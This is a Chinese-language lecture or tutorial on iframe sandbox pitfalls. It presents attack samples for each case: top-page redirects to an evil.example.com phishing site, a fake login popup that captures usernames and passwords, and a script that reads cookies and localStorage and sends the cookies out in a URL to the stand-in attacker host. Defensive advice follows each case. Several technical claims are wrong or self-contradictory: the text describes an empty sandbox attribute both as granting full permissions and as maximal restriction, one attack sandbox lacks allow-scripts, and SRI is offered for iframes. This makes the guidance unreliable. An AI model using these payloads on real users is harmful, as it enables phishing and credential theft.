各位同学,大家好!我是今天的讲师,咱们今天聊聊 iframe sandbox 的那些“坑”和“雷”。 别看这玩意儿好像是给 iframe 上了把锁,但锁没用对地方,或者钥匙保管不当,那可就热闹了。
开场白:iframe sandbox,天使与魔鬼
iframe sandbox,顾名思义,就是给 iframe 划定一个“沙盒”,限制其能力,防止恶意代码为所欲为。 听起来是不是很安全? 但凡事都有两面性,配置不当的 sandbox 反而可能成为攻击者手中的利器,造成权限提升甚至信息泄露。
sandbox 属性的基础知识:牢笼的构成
sandbox 属性是一个由空格分隔的 token 列表,每个 token 代表一个权限。 如果 sandbox 属性为空,或者根本没有 sandbox 属性,那么 iframe 将获得完全的权限(这可不是好主意!)。 如果 sandbox 属性存在,但没有任何 token,那么 iframe 将被限制到极致,几乎什么都做不了。
常见的 sandbox token 包括:
Token | 描述 |
---|---|
allow-forms | 允许 iframe 提交表单。 |
allow-same-origin | 允许 iframe 访问与其父页面相同的源(协议、域名、端口)。 这是最危险的 token 之一,务必谨慎使用。 |
allow-scripts | 允许 iframe 执行脚本。 |
allow-top-navigation | 允许 iframe 导航顶级浏览上下文(即刷新或跳转整个页面)。 |
allow-popups | 允许 iframe 创建弹出窗口。 |
allow-pointer-lock | 允许 iframe 使用 Pointer Lock API。 |
allow-modals | 允许 iframe 调用 alert() , confirm() , prompt() 等方法。 |
allow-orientation-lock | 允许 iframe 锁定屏幕方向。 |
allow-presentation | 允许 iframe 启动演示会话。 |
allow-top-navigation-by-user-activation | 允许 iframe 在用户激活后导航顶级浏览上下文。 |
allow-downloads | 允许 iframe 下载文件。 |
案例一:allow-top-navigation
的威力与陷阱
allow-top-navigation
允许 iframe 改变顶级浏览上下文的 URL。 简单来说,就是 iframe 可以“劫持”整个页面,跳转到攻击者控制的恶意网站。
场景:
假设一个网站允许用户嵌入第三方 iframe,并且为了方便用户,添加了 allow-top-navigation
权限。
攻击代码 (恶意 iframe):
<!DOCTYPE html>
<html>
<head>
<title>Evil iframe</title>
</head>
<body>
<script>
window.top.location.href = "https://evil.example.com/phishing.html"; // 恶意网站
</script>
</body>
</html>
宿主页面 (存在漏洞):
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Website</title>
</head>
<body>
<h1>Welcome!</h1>
<iframe src="evil.html" sandbox="allow-top-navigation"></iframe>
</body>
</html>
攻击过程:
- 用户访问宿主页面。
- 恶意 iframe 加载,执行 JavaScript 代码。
window.top.location.href
将顶级浏览上下文的 URL 修改为恶意网站。- 用户被重定向到钓鱼网站,可能被骗取用户名、密码等敏感信息。
风险:
- 用户完全失去对页面的控制。
- 可能被重定向到钓鱼网站、恶意软件下载页面等。
防御:
- 永远不要轻易添加
allow-top-navigation
。 除非你完全信任 iframe 的来源。 - 使用内容安全策略 (CSP) 来限制 iframe 的导航行为。
案例二:allow-top-navigation-by-user-activation
的“温柔陷阱”
allow-top-navigation-by-user-activation
是 allow-top-navigation
的一种“温和”版本。 它只允许 iframe 在用户主动交互(例如点击、触摸)后才能导航顶级浏览上下文。 听起来是不是安全多了? 但魔鬼往往藏在细节中。
场景:
一个在线广告平台允许广告商嵌入 iframe 广告。 为了防止广告恶意跳转页面,平台使用了 allow-top-navigation-by-user-activation
。
攻击代码 (恶意广告 iframe):
<!DOCTYPE html>
<html>
<head>
<title>Malicious Ad</title>
</head>
<body>
<button id="redirectButton">Click here for a free gift!</button>
<script>
document.getElementById("redirectButton").addEventListener("click", function() {
window.top.location.href = "https://evil.example.com/phishing.html";
});
</script>
</body>
</html>
宿主页面 (存在漏洞):
<!DOCTYPE html>
<html>
<head>
<title>Website with Ads</title>
</head>
<body>
<h1>Welcome!</h1>
<iframe src="ad.html" sandbox="allow-top-navigation-by-user-activation"></iframe>
</body>
</html>
攻击过程:
- 用户访问宿主页面,看到广告 iframe 中的按钮“Click here for a free gift!”。
- 用户被诱导点击按钮。
- 由于是用户主动点击,iframe 获得了导航顶级浏览上下文的权限。
- 用户被重定向到钓鱼网站。
风险:
- 用户仍然可能被欺骗点击,导致页面被劫持。
防御:
- 不要信任任何来自第三方的内容。 即使使用了
allow-top-navigation-by-user-activation
,也无法完全避免用户被欺骗。 - 仔细审查广告内容,确保其合法性和安全性。
- 使用 CSP 进一步限制 iframe 的行为。
- 使用 Subresource Integrity (SRI) 来验证 iframe 资源的完整性。
案例三:allow-popups
与钓鱼的变种
allow-popups
允许 iframe 创建弹出窗口。 恶意 iframe 可以利用这一点,创建看似来自宿主网站的弹出窗口,诱骗用户输入敏感信息。
场景:
一个社交网站允许用户嵌入第三方应用(iframe)。 为了方便用户,网站允许应用创建弹出窗口。
攻击代码 (恶意应用 iframe):
<!DOCTYPE html>
<html>
<head>
<title>Malicious App</title>
</head>
<body>
<button id="loginButton">Login with Social Account</button>
<script>
document.getElementById("loginButton").addEventListener("click", function() {
// Create a fake login popup
var popup = window.open("", "Login", "width=400,height=300");
popup.document.body.innerHTML = `
<h1>Login to [Social Website Name]</h1>
<form>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<button type="submit">Login</button>
</form>
`;
// In a real attack, you'd send the data to an attacker's server
popup.document.querySelector("form").addEventListener("submit", function(event) {
event.preventDefault();
var username = popup.document.querySelector("input[name=username]").value;
var password = popup.document.querySelector("input[name=password]").value;
alert("Stolen! Username: " + username + ", Password: " + password); // Replace with actual data exfiltration
popup.close();
});
});
</script>
</body>
</html>
宿主页面 (存在漏洞):
<!DOCTYPE html>
<html>
<head>
<title>Social Website</title>
</head>
<body>
<h1>Welcome!</h1>
<iframe src="app.html" sandbox="allow-popups"></iframe>
</body>
</html>
攻击过程:
- 用户访问社交网站,看到应用 iframe 中的按钮“Login with Social Account”。
- 用户点击按钮。
- 恶意 iframe 创建一个弹出窗口,模仿社交网站的登录界面。
- 用户误以为是社交网站的登录窗口,输入用户名和密码。
- 恶意 iframe 窃取用户名和密码。
风险:
- 用户容易被迷惑,泄露敏感信息。
防御:
- 尽量避免使用
allow-popups
。 - 如果必须使用,务必限制弹出窗口的样式和内容,使其与宿主网站的风格明显不同。
- 教育用户识别钓鱼攻击,不要轻易在弹出窗口中输入敏感信息。
- 使用 CSP 限制 iframe 的弹出窗口行为。
案例四:allow-same-origin
:信任的代价
allow-same-origin
允许 iframe 访问与其父页面相同的源。 这通常用于嵌入同一网站下的内容。 但这绝对是最危险的 token 之一。 如果 iframe 来源被攻破,攻击者可以利用 allow-same-origin
权限,控制整个宿主网站。
场景:
一个大型网站将部分功能放在独立的 iframe 中,并为了方便 iframe 访问主站的 cookie 和 localStorage,添加了 allow-same-origin
权限。
攻击代码 (假设 iframe 来源被攻破):
<!DOCTYPE html>
<html>
<head>
<title>Evil iframe (Same Origin)</title>
</head>
<body>
<script>
// Steal cookies
var cookies = document.cookie;
alert("Stolen Cookies: " + cookies); // Replace with actual data exfiltration
// Access localStorage
var sensitiveData = localStorage.getItem("secret");
alert("Stolen Secret: " + sensitiveData); // Replace with actual data exfiltration
// Redirect the page to a malicious site (even without allow-top-navigation)
window.top.location.href = "https://evil.example.com/stolen_cookies.html?cookies=" + encodeURIComponent(cookies);
</script>
</body>
</html>
宿主页面 (存在漏洞):
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Website</title>
</head>
<body>
<h1>Welcome!</h1>
<iframe src="internal_iframe.html" sandbox="allow-same-origin allow-scripts"></iframe>
<script>
// Store some sensitive data in localStorage (for demonstration purposes)
localStorage.setItem("secret", "This is a very secret key!");
</script>
</body>
</html>
攻击过程:
- 攻击者攻破
internal_iframe.html
所在的服务器,替换为恶意代码。 - 用户访问宿主页面。
- 恶意 iframe 加载,由于拥有
allow-same-origin
权限,它可以:- 窃取宿主网站的 cookie。
- 访问宿主网站的 localStorage。
- (虽然这里没有
allow-top-navigation
,但是依然可以通过修改window.top.location.href
重定向,除非 CSP 禁止)。
风险:
- 完全控制宿主网站。
- 窃取用户敏感信息。
- 篡改网站内容。
- 进行 XSS 攻击。
防御:
- 永远不要轻易添加
allow-same-origin
。 除非你有非常充分的理由,并且完全信任 iframe 的来源。 - 如果必须使用,务必采取严格的安全措施,确保 iframe 来源的安全。
- 使用 Subresource Integrity (SRI) 来验证 iframe 资源的完整性。
- 定期审查 iframe 代码,确保没有漏洞。
- 尽量避免在 cookie 和 localStorage 中存储敏感信息。
通用防御策略:打造坚固的沙盒
除了针对特定 token 的防御措施外,还有一些通用的策略可以帮助你打造更坚固的 iframe 沙盒:
-
最小权限原则: 只授予 iframe 必要的权限。 不要为了“方便”而添加不必要的 token。
-
内容安全策略 (CSP): 使用 CSP 进一步限制 iframe 的行为,例如限制脚本来源、禁止内联脚本、限制导航目标等。
<iframe src="iframe.html" sandbox="allow-scripts" csp="script-src 'self'; object-src 'none';"></iframe>
-
Subresource Integrity (SRI): 使用 SRI 来验证 iframe 资源的完整性,确保其没有被篡改。
<iframe src="https://example.com/iframe.js" integrity="sha384-..." crossorigin="anonymous"></iframe>
-
定期审查代码: 定期审查 iframe 代码,确保没有漏洞。
-
教育用户: 教育用户识别钓鱼攻击,不要轻易点击不明链接或在不可信的网站上输入敏感信息。
-
使用 HTTP Header 强制 sandbox: 在 HTTP 响应头中添加
Content-Security-Policy
来强制 sandbox 属性,可以避免攻击者通过修改 HTML 代码来绕过沙箱。Content-Security-Policy: frame-ancestors 'none'; sandbox allow-scripts allow-forms;
总结:沙盒不是万能的,安全需要谨慎
iframe sandbox 是一种非常有用的安全机制,但它并非万能的。 配置不当的 sandbox 反而可能成为安全漏洞。 要想打造坚固的沙盒,需要遵循最小权限原则,使用 CSP 和 SRI 等其他安全措施,并定期审查代码。最重要的是,要始终保持警惕,不要信任任何来自第三方的内容。
记住,安全是一场永无止境的军备竞赛。 攻击者总是在寻找新的方法来绕过防御,而我们则需要不断学习和改进,才能保护我们的网站和用户免受攻击。
今天的讲座就到这里,希望大家有所收获! 谢谢大家!